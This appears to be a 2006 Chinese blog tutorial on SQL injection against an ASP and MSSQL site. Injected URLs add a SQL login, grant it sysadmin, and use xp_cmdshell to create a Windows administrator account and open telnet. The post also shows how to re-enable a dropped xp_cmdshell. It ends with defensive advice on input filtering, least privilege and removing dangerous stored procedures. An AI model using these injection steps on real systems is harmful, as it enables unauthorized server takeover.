SQL隱碼攻擊中利用XP_cmdshell提權的用法

xdfwsl發表於2006-05-15

先來介紹一下子伺服器的基本情況,windows 2000 adv server 中文版,據稱
打過了sp3,asp+iis+mssql 。首先掃描了一下子埠,呵呵,開始的一般步驟。

埠21開放: FTP (Control)
埠80開放: HTTP, World Wide Web
埠135開放: Location Service
埠139開放: NETBIOS Session Service
埠1433開放: Microsoft-SQL-Server

開了幾個很經典的埠,應該說個個都很經典啊。既然確定好了埠,那就有
針對性地掃描一下看看開了什麼共享麼,faint,老兄把ipc$,admin$,c$,d$都
給關掉了,掃描nt的弱口令就沒有實際意義了。然後呢就看看iis是否有什麼
漏洞,用x_scan掃了一下,沒有發現什麼可以利用的漏洞。然後就來看看1433
的sql是否有什麼漏洞,首先掃了一下弱口令,沒有,先還是不暴力破解吧,一
般都是先禮後兵的,暴力的就留到最後了。最近sql server 有個Resolution服
務遠端棧緩衝區溢位漏洞,用這個來看看,試了一下子不行。原因可能是因為
我用的exploit對sp3不適用或者是已經做了安全設定。不過這問題還是先記錄
下來了。
再來看看ftp怎麼樣,
C:/Documents and Settings/Administrator>ftp 1.1.1.1
Connected to 1.1.1.1.
220 cwcserver Microsoft FTP Service (Version 5.0).
User (1.1.1.1:(none)): anonymous
331 Password required for anonymous.
Password:
530 User anonymous cannot log in.
Login failed.
ftp>
失敗了。不支援匿名登陸的,不過這裡也是一個安全隱患,可以通過暴力破解
ftp使用者的密碼來破解nt使用者的密碼。也記錄下來了。好了,既然用了asp+sql
那就來看看asp程式設計方面有沒有可以利用的東西了。到主頁上面一看,有個新聞
釋出系統。url如下:
http://1.1.1.1/news/default.asp?cataid=98986
先加個分號測試一下,url現在如下:
http://1.1.1.1/news/default.asp?cataid=98986;
依然正常顯示,並且和前面顯示完全一樣。這說明了沒有過濾分號,大好訊息。
再測試一下子單引號。現
在的url如下:
http://1.1.1.1/news/default.asp?cataid=98986‘
頁面正常顯示,不過不能夠顯示新聞列表。提示找不到資料。這說明單引號也沒
有過濾。好了,希望大大的有了。估計xp_cmdshell也可以了,其他的儲存過程
也都可以用了。不過這裡這臺伺服器是關掉了所有的預設的共享。

想想有什麼好辦法能夠獲得shell呢。仔細考慮後我想到了兩種方法,基本上是
大同小異。

方法一:
利用xp_cmdshell儲存過程來新增windows使用者,並提升到管理員許可權。
然後依然利用xp_cmdshell來開啟telnet服務。最後當然是登入上去了。

方法二:
利用sp_addlogin新增sql使用者,同樣還要提升許可權。
再用查詢分析器連線SQL Server,再利用xp_cmdshell開啟telnet服務。
最後登入。

兩種方法都能夠得到shell,我就選擇第二種方法。具體過程如下:


就往SQL Server裡面新增一個使用者吧。
方法如下:http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addlogin user;
回車後執行,瀏覽器自動補上了空格,變成:
http://1.1.1.1/news/default.asp?cataid=98986;use%20master;exec%20dbo.sp_addlogin%20user;
頁面依然正常顯示,不過就算你打錯了也會正常顯示的,不能夠判斷究竟是
否成功。中間的20%嗎,其實就是代表空格符的。上面也就相當於在查詢分
析器裡面執行:
use master;
dbo.sp_addlogin user;注:此處也可以為sp_addlogin user;前面的url裡
面同樣可以不要dbo,也就是:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec sp_addlogin%20user;
都是一樣的。
現在我們已經新增了一個使用者了,密碼現在為空,這裡就不管這麼多了,反正也是
一個過渡的過程,就不加密碼了。
如果要改密碼,可以這樣:dbo.password null,password,user;
dbo.password是修改用密碼的儲存過程,null是舊密碼,password是新密碼,
user自然就是使用者名稱了。而在我們這個測試中也就是這樣子的:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.password null,password,user;

ok,回到主題,現在許可權還是不夠高,那麼就開始提升許可權吧,url如下:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addsrvrolemember user,sysadmin;
解釋一下sysadmin的含義。SQL Server有八種固定伺服器角色,具體如下:資料
庫建立者(DBCREATOR),磁碟管理員(DISKADMIN),程式管理員(PROCESSADMIN),
安全管理員(SECURITYADMIN),伺服器管理員(SEVERADMIN)安裝管理員(SETUPADMIN)
,系統管理員(SYSADMIN),大容量管理員(BULKADMIN)當然最高許可權的是系
統管理員(SYSADMIN),預設情況下sa也是系統管理員。
dbo.sp_addsrvrolemember是為固定伺服器角色分配登入帳戶的儲存過程。

用大家經常使用的net命令來對應(本身並沒有任何聯絡,這裡拿來對照學習)
sp_addlogin user;相當於 net user user /add
sp_password null,password,user相當於net user user password
sp_addsrvrolemember user,sysadmin相當於net localgroup administrators user /add


好了,我們現在已經實現了新增使用者並且提升到sysadmin了。下面要做的是新增windows使用者並且
開啟telnet服務。
開啟我的查詢分析器,填入伺服器地址,使用者民和密碼。連線成功了。嘗試一下xp_cmdshell是否
可以使用,
use master;
xp_cmdshell ‘dir c:‘;
記得分號是不可以少的哦。一切正常。顯示出來了c:盤下的目錄和檔案。那就繼續下去,
新增windows使用者:
xp_cmdshell ‘net user awen /add‘;
設定好密碼:
xp_cmdshell ‘net user awen password‘;
提升到管理員:
xp_cmdshell ‘net localgroup administrators awen /add‘;
開啟telnet服務:
xp_cmdshell ‘net start tlntsvr‘
一個老問題就是還有ntlm這個攔路虎。
沒問題,直接在肉雞上也新增一個使用者名稱和密碼相同的賬號然後再以這個帳號執行cmd就可以了。
具體的做法-----為cmd.exe建立一個快捷方式,右鍵點選,在"屬性"裡面鉤上"以其他使用者身
份執行"。ok,雙擊。輸入剛才的使用者名稱和密碼。更加詳細的做法清檢視阿布的文章----
最快速登入WIN2K TELNET 服務,在這裡可以找到.
http://www.patching.net/abu/gongfang/hacking/easytelnet/index.html

好了,可以telnet上去了,就寫到這裡,後面還進行了一些測試,都是大家所熟悉的就不寫了。

 

二 回顧與思考

 

這次入侵測試要是說有難點的話那就是管理員把ipc$,admin$,c$,d$...都關掉了。
因此和以前很多的教程有點不同。比如說假設ipc$沒有關閉的話,我們很輕鬆的
使用opentelnet這個工具來開telnet,並且也就沒有了ntlm這個障礙。

再對前面的兩種方法進行回顧,其實兩種方法還是有區別的。
假如管理員把xp_cmdshell禁止了,第一種方法就無法進行下去了。
有人會說,第二種方法不是也一樣要用到xp_cmdshell嗎。
正確,不過我們還是有辦法恢復過來。SQL server 2000的恢復方法是:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xplog70.dll‘‘ 
SQL Server 7.0的恢復方法是:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xpsql70.dll‘‘ 
你在2000下面是找不到xpsql70.dll的,同樣7.0下面也是找不到xplog70.dll。
把第二種方法也寫出來,沒有測試,僅供大家參考:
1 新增使用者
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen /add‘;
2 更改密碼
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen password‘;
3 提升到管理員許可權
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net localgroup administrators awen /add‘;
4 開啟telnet服務
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net start tlntsrv‘;
5 依然是採用前面相同的方法登入

 


三 就本例談談怎樣進行安全防範

 

上面所講的是一個特定的例子,但是反應了一個問題,世界上沒有絕對的安全。
安全是有很多很多細節所組成起來的。上面例子中的管理員已經做了一些必要的安全措施。
補丁打得也很及時,但是依然存在著很大的問題。不僅僅是asp沒有過濾掉特殊字元。還有一些
比較嚴重的問題,比如說開啟了ms ftp服務,這樣入侵者就可以通過暴力破解ftp密碼來獲得
windows的密碼。
如果要談2000的安全設定,要寫上厚厚的一本書也可以。下面僅僅就這個例子中來談談。

asp程式設計要注意的一些問題: 
1 涉及使用者名稱與口令的程式最好封裝在伺服器端,儘量少的在ASP檔案裡出現,
2 涉及到與資料庫連線地使用者名稱與口令應給予最小的許可權。如本例,事後問了朋友,
他使用的是sa使用者,因此我能夠執行很多的儲存過程。
3 遮蔽很多特殊字元,如; ‘這種危險的字元必須要給過濾掉。
4 在處理類似留言板、BBS等輸入框的ASP程式中,最好遮蔽掉HTML、javascript、VBScript
語句,如無特殊要求,可以限定只允許輸入字母與數字,遮蔽掉特殊字元。同時對輸入字元
的長度進行限制。而且不但在客戶端進行輸入合法性檢查,同時要在伺服器端程式中進行類
似檢查。
5 要使用access的話,千萬注意到保護好你的mdb檔案,別讓別人下載。 

SQL SERVER的安全
本例中SQL SERVER的設定也存在著很多的問題。比如很多儲存過程沒有drop,是這次入侵中的
功臣,也是安全的極大的隱患。
1 使用安全的密碼策略
2 及時更新補丁程式。 
 與windows一樣,SQL SERVER的許多漏洞會由補丁程式來彌補。建議在安裝補丁程式之前先
在測試機器上做測試,同時提前做好目標伺服器的資料備份。而很多管理員往往不注意給SQL 
SERVER打補丁。最近就有Resolution服務遠端棧緩衝區溢位漏洞,很多站點都沒有注意到。
3 嚴格控制資料庫使用者的許可權,輕易不要給讓使用者對錶有直接的查詢、更改、插入、刪除許可權,
可以通過給使用者以訪問檢視的許可權,以及只具有執行儲存過程的許可權。在上面也提到了。
4 把危險的和不必要的儲存過程刪除,
xp_cmdshell,很危險的一個儲存過程,能夠執行dos命令,可以通過下述SQL語句
use master 
sp_dropextendedproc ‘xp_cmdshell‘ 
不過依然可以通過sp_addextendedproc來恢復,因此最好刪除或改名xplog70.dll(sql server 2000)
xpsql70.dll(sql serer 7.0)
以下儲存過程也很危險
xp_fileexist,用來確定一個檔案是否存在。 xp_getfiledetails,可以獲得檔案詳細資料。 
xp_dirtree,可以展開你需要了解的目錄,獲得所有目錄深度。 Xp_getnetname,可以獲得
伺服器名稱。 
去掉不需要的登錄檔訪問的儲存過程,如下: 
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues 
Xp_regread Xp_regremovemultistring Xp_regwrite
如果你不需要請丟棄OLE自動儲存過程,這些過程包括如下: 
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty 
Sp_OAMethod Sp_OASetProperty Sp_OAStop 

相關文章